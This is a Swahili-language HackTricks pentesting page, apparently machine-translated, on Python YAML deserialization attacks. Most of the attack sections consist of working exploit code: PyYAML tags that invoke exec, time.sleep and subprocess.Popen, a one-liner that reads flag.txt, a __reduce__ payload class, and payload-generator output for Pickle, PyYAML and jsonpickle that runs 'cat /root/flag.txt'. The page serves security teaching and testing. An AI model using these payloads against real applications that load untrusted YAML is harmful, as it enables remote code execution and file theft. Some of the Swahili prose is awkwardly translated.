hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

# Ufumbuzi wa Python Yaml

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## **Ufumbuzi wa** Yaml

**Maktaba za Yaml** za python pia zinaweza **kufumbua vitu vya python** na sio tu data ghafi:
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Angalia jinsi **tuple** sio aina ya data ya msingi na kwa hivyo ilikuwa **kiserialiwa**. Na hali hiyo hiyo ilitokea na **range** (imechukuliwa kutoka kwa builtins).

![](<../../.gitbook/assets/image (1037).png>)

**safe\_load()** au **safe\_load\_all()** hutumia SafeLoader na **havisaidii udeserialishaji wa vitu vya darasa**. Mfano wa udeserialishaji wa vitu vya darasa:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Msimbo uliopita ulitumia **unsafe\_load** kusoma darasa la python lililosanidishwa. Hii ni kwa sababu katika **toleo >= 5.1**, haitoi ruhusa ya **kusahihisha darasa lolote la python lililosanidishwa au sifa ya darasa**, bila Loader kufafanuliwa katika load() au Loader=SafeLoader.

### Shambulizi la Msingi

Mfano wa jinsi ya **kutekeleza usingizi**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### .load("\<maudhui>") isiyolindwa bila Loader

**Toleo za zamani** za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialisations ikiwa haukutaja Loader wakati wa kupakia kitu: `yaml.load(data)`

Unaweza kupata [**maelezo ya udhaifu hapa**](https://hackmd.io/@defund/HJZajCVlP)**.** Shambulio **lililopendekezwa** kwenye ukurasa huo ni:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Au unaweza kutumia hii **mstari mmoja uliotolewa na @ishaack**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Tafadhali kumbuka kwamba katika **toleo jipya** huwezi tena kuita `.load()` **bila `Loader`** na **`FullLoader`** haiko tena katika hatari ya shambulio hili.

## RCE

Mizigo ya desturi inaweza kuundwa kwa kutumia moduli za Python YAML kama **PyYAML** au **ruamel.yaml**. Mizigo hii inaweza kutumia mapungufu katika mifumo ambayo huideserialize data isiyotegemewa bila usafi sahihi.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Zana ya Kuunda Mzigo

Zana [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) inaweza kutumika kuunda mzigo wa uharibifu wa python kwa kutumia **Pickle, PyYAML, jsonpickle na ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Marejeo

* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

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